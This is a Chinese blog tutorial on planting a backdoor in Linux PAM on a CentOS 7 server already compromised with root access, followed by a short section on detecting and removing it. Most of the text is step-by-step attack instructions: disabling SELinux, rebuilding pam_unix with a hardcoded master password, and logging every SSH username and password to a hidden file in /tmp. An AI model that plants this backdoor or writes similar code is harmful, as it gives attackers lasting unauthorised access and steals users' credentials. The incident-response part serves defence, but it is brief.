一、本教程作用

1、用在攻击的途径上
2、应急响应过程中,黑客会留后门,如果你连这种留后门方法都不会,怎么去应急?
不知攻,焉知防

二、PAM后门-教程

前提条件: 假设在攻击的过程中通过利用各种getshell,已经拿到目标服务器root权限
靶机 IP: 192.168.160.144 (centos7)
攻击IP: 192.168.160.1 (win10 xhell)

2.1 pam介绍

在过去,我们想要对一个使用者进行认证 (authentication),得要要求用户输入账号口令, 然后透过自行撰写的程序来判断该账号口令是否正确。也因为如此,我们常常得使用不同的机制来判断账号口令, 所以搞的一部主机上面拥有多个各别的认证系统,也造成账号口令可能不同步的验证问题! 为了解决这个问题因此有了 PAM (Pluggable Authentication Modules, 嵌入式模块) 的机制!

PAM 可以说是一套应用程序编程接口 (Application Programming Interface, API),他提供了一连串的验证机制,只要使用者将验证阶段的需求告知 PAM 后, PAM 就能够回报使用者验证的结果 (成功或失败)。由于 PAM 仅是一套验证的机制,又可以提供给其他程序所呼叫引用,因此不论你使用什么程序,都可以使用 PAM 来进行验证,如此一来,就能够让账号口令或者是其他方式的验证具有一致的结果!也让程序设计师方便处理验证的问题。

从pam的介绍中,我们知道,其实登录系统的时候,是pam的模块来验证我们的密码是否正确的。所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确,从而达到作为后门的目的。(借用大佬的介绍不写了。)

2.2 植入 PAM 后门

第一步:
在 centos7 环境下,首先需要关闭 selinux 和临时关闭 setenforce 0。

setenforce 0



第二步:查看 pam 版本号

发现是 1.1.8 版本

rpm -qa|grep pam


第三步:下载对应版本的 pam 源码包

pam下载地址:http://www.linux-pam.org/library/
选择 pam1.1.8

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz


解压 PAM tar包

tar -zxvf Linux-PAM-1.1.8


第四步:安装gcc编译器和flex库

yum install gcc flex flex-devel -y


第五步:留 PAM 后门和保存 ssh登录的账户密码

修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 源码实现自定义密码认证和保存登录密码

if(strcmp("fuckyou",p)==0){return PAM_SUCCESS;}if(retval == PAM_SUCCESS){    FILE * fp;    fp = fopen("/tmp/.sshlog", "a");    fprintf(fp, "%s : %s\n", name, p);    fclose(fp);}


第六步:编译

cd ..
cd ..
./configure

make


第七步:备份原有的 pam_unix.so
防止出现错误 ssh 登录不上了

cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp


第八步:复制新 PAM 模块到 /lib64/security/ 目录下:

cp /Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so


第九步:登录测试

本地登录测试

ssh root@127.0.0.1


远程登录测试

查看 ssh 登录账号密码保存位置,root 账户的密码被成功保存

ls -a
cat .sshlog

三、PAM 后门——应急响应发现

第一步:查看可以连接

natstat -anpt

第二步:检查pam_unix.so的修改时间

因为 pam 后门是替换文件,所以查看文件的修改时间,如果为最近的时间就是被替换了。(没有可以连接的时候也可以查看)

stat /lib/security/pam_unix.so      #32位
stat /lib64/security/pam_unix.so    #64位

如图所示,时间就是最近的时间,有问题。

第三步:清除 pam 后门

yum reinstall pam


再次 xhell 连接,提示登录不成功,后门被清除

更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥

LINUX留后门--教程(六)—— PAM后门相关推荐

  1. Windows留后门--教程(二)——Windows计划任务后门

    一.Windows计划任务后门介绍 计划任务是经常被攻击者拿来利用的控制点,计划任务可以让目标主机在特定的时间执行我们预先准备的后门程序从而帮助我们进行权限维持. 二.Windows计划任务后门-教程 ...

  2. Windows留后门--教程(三)——Windows服务后门

    一.Windows服务后门介绍 在Windows系统中还有一个重要的机制,就是服务.通常大部分的服务都拥有SYSTEM权限,如果攻击者利用Windows的服务机制创建一个后门服务,那么这个后门将比一般 ...

  3. Windows留后门--教程(五)——shift粘贴键后门

    一.shift粘贴键后门介绍 Shift粘滞键是当用户连按5次shift就会自动弹出的一个程序,其实不光是粘滞键,还有各种辅助功能,这类辅助功能都拥有一个特点就是当用户未进行登录时也可以触发.所以攻击 ...

  4. Kali Linux 安全渗透教程第六更1.4.2 安装至USB驱动器Kali Linux

    1.4.2  安装至USB驱动器Kali Linux 安全渗透教程<第六更> Kali Linux USB驱动器提供了一种能力,它能永久的保存系统设置.永久更新.在USB设备上安装软件包, ...

  5. Kali Linux 安全渗透教程第一更

    Kali Linux 安全渗透教程 目录 第1章  Linux安全渗透简介 1.1  什么是安全渗透 1.2  安全渗透所需工具 1.3  Kali Linux简介 1.4  安装Kali Linux ...

  6. Kali Linux安全渗透教程(内部资料)

    Kali Linux安全渗透教程第一章(内部资料) 下载地址://pan.baidu.com/s/1dDnEL4P Kali Linux安全渗透教程第二章(内部资料) 下载地址:://pan.baid ...

  7. Linux pwn入门教程——CTF比赛

    Linux pwn入门教程(1)--栈溢出基础 from:https://zhuanlan.zhihu.com/p/38985585 0x00 函数的进入与返回 要想理解栈溢出,首先必须理解在汇编层面 ...

  8. c# 定位内存快速增长_CTF丨Linux Pwn入门教程:针对函数重定位流程的相关测试(下)...

    Linux Pwn入门教程系列分享已到尾声,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  9. linux中的shell有printf吗,Linux Shell系列教程之(八)Shell printf命令详解

    在上一篇:Linux Shell系列教程之(七)Shell输出这篇文章中,已经对Shell printf命令有了一个简略的介绍,本篇给大家详细介绍下Shell中的printf命令. 一.Shell p ...

最新文章

  1. WCF学习笔记(基于REST规则方式)
  2. luogu P2613 【模板】有理数取余(费马小定理,乘法逆元)
  3. Win7有多条隧道适配器(isatap、teredo、6to4)的原因及关闭方法
  4. OpenDrive ARC绘制秘籍
  5. 十大司机如厕友好城市出炉:苏州/杭州/成都位居前三
  6. 浙大 PAT b1039
  7. 【操作系统】虚拟存储器(下)-思维导图
  8. 【机器学习】基于AutoEncoder的BP神经网络的tensorflow实现
  9. 多级联动(已知和未知级次)
  10. 20200113每日一句
  11. SQL Server中以星期一为每周第一天 计算周数
  12. 计算机键盘win键,win10键盘win键失灵怎么办_电脑win10win键没反应的解决方法
  13. 物联网毕业设计 单片机指纹识别考勤系统设计与实现
  14. 列举1000以内的水仙花数,并求出水仙花数的个数
  15. 一天一个 Linux 命令(27):mkfs 命令
  16. linux tar.7z如何解压,Linux下解压:tar、rar、7z命令简单易懂的教程(含实例)
  17. 【微电网优化】基于粒子群算法求解热电联供型微电网经济运行优化问题含Matlab源码
  18. 中国存储器“3+1”版图初现 行业要再跑5年马拉松
  19. Git笔记(三)git commit撤销
  20. 只需Ctrl+T,让 Excel 变身为「超级表格」

热门文章

  1. 信息系统开发与管理【一】之 管理信息系统导论
  2. 【转】电路板绘制经验积累 (一至五)
  3. Python 去掉BOM
  4. python第6-7轮作业--字符串,模块
  5. 火星探测器纷纷上天,人类离移民火星还远吗?
  6. #HHD32F107# watch dog
  7. 190327-Matlab清除指定变量之外的所有变量
  8. 关于计算机专业英语的小短文,有没人有计算机专业英语的短文,200字左右。
  9. ADC采集电路前级为啥加一个电压跟随器?
  10. 从大数据征信看银行风控创新